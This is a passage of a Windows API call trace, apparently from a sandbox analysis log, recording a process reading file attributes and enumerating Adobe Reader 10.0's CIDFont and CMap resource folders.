	[0054.526] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeSongStd-Light.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobesongstd-light.otf"), fInfoLevelId=0x0, lpFileInformation=0x12858d78 | out: lpFileInformation=0x12858d78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe69f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xedd564)) returned 1
	[0054.526] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\KozGoPr6N-Medium.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\kozgopr6n-medium.otf"), fInfoLevelId=0x0, lpFileInformation=0x12858dc8 | out: lpFileInformation=0x12858dc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f9a7320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53e91c)) returned 1
	[0054.526] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\KozMinPr6N-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\kozminpr6n-regular.otf"), fInfoLevelId=0x0, lpFileInformation=0x12858e18 | out: lpFileInformation=0x12858e18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa3f8a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c205c)) returned 1
	[0054.527] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap"), fInfoLevelId=0x0, lpFileInformation=0x12858e68 | out: lpFileInformation=0x12858e68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x800a53c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0054.527] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.527] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x800a53c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.529] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x800a53c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.531] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d27, dwReserved0=0x0, dwReserved1=0x0, cFileName="83pv-RKSJ-H", cAlternateFileName="83PV-R~1")) returned 1
	[0054.531] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="90ms-RKSJ-H", cAlternateFileName="90MS-R~1")) returned 1
	[0054.531] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b5fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="90ms-RKSJ-UCS2", cAlternateFileName="90MS-R~2")) returned 1
	[0054.531] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1166, dwReserved0=0x0, dwReserved1=0x0, cFileName="90ms-RKSJ-V", cAlternateFileName="90MS-R~3")) returned 1
	[0054.531] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="90msp-RKSJ-H", cAlternateFileName="90MSP-~1")) returned 1
	[0054.531] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1154, dwReserved0=0x0, dwReserved1=0x0, cFileName="90msp-RKSJ-V", cAlternateFileName="90MSP-~2")) returned 1
	[0054.531] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x202f, dwReserved0=0x0, dwReserved1=0x0, cFileName="90pv-RKSJ-H", cAlternateFileName="90PV-R~1")) returned 1
	[0054.531] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x73e, dwReserved0=0x0, dwReserved1=0x0, cFileName="90pv-RKSJ-UCS2", cAlternateFileName="90PV-R~2")) returned 1
	[0054.531] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x190bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="90pv-RKSJ-UCS2C", cAlternateFileName="90PV-R~3")) returned 1
	[0054.531] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3de5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Add-RKSJ-H", cAlternateFileName="ADD-RK~1")) returned 1
	[0054.531] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Add-RKSJ-V", cAlternateFileName="ADD-RK~2")) returned 1
	[0054.531] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-0", cAlternateFileName="ADFD7E~1")) returned 1
	[0054.531] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x107a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-1", cAlternateFileName="AD1410~1")) returned 1
	[0054.531] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x108f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-2", cAlternateFileName="ADC905~1")) returned 1
	[0054.531] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-3", cAlternateFileName="AD7FF9~1")) returned 1
	[0054.531] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x110d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-4", cAlternateFileName="ADEA01~1")) returned 1
	[0054.531] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x110d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-5", cAlternateFileName="AD351C~1")) returned 1
	[0054.531] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f13, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-B5pc", cAlternateFileName="ADOBE-~1")) returned 1
	[0054.531] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-ETen-B5", cAlternateFileName="ADOBE-~2")) returned 1
	[0054.531] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-H-CID", cAlternateFileName="ADOBE-~3")) returned 1
	[0054.532] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x212a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-H-Host", cAlternateFileName="ADOBE-~4")) returned 1
	[0054.532] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f56, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-H-Mac", cAlternateFileName="AD9A15~1")) returned 1
	[0054.532] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x44cc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-UCS2", cAlternateFileName="ADD444~1")) returned 1
	[0054.532] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-0", cAlternateFileName="ADD8F8~1")) returned 1
	[0054.532] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe32, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-1", cAlternateFileName="AD9B16~1")) returned 1
	[0054.532] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x121c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-2", cAlternateFileName="AD411B~1")) returned 1
	[0054.532] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x121b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-3", cAlternateFileName="ADF600~1")) returned 1
	[0054.532] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1461, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-4", cAlternateFileName="AD1D91~1")) returned 1
	[0054.532] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-5", cAlternateFileName="ADC296~1")) returned 1
	[0054.532] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16e86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-GBK-EUC", cAlternateFileName="ADFBCB~1")) returned 1
	[0054.532] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1082, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-GBpc-EUC", cAlternateFileName="AD2E3A~1")) returned 1
	[0054.532] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x82c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-H-CID", cAlternateFileName="AD43DF~1")) returned 1
	[0054.532] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x170e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-H-Host", cAlternateFileName="AD3180~1")) returned 1
	[0054.533] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-H-Mac", cAlternateFileName="ADAB0B~1")) returned 1
	[0054.533] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3bb8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-UCS2", cAlternateFileName="AD0115~1")) returned 1
	[0054.533] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-0", cAlternateFileName="AD276E~1")) returned 1
	[0054.533] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-1", cAlternateFileName="AD4DFF~1")) returned 1
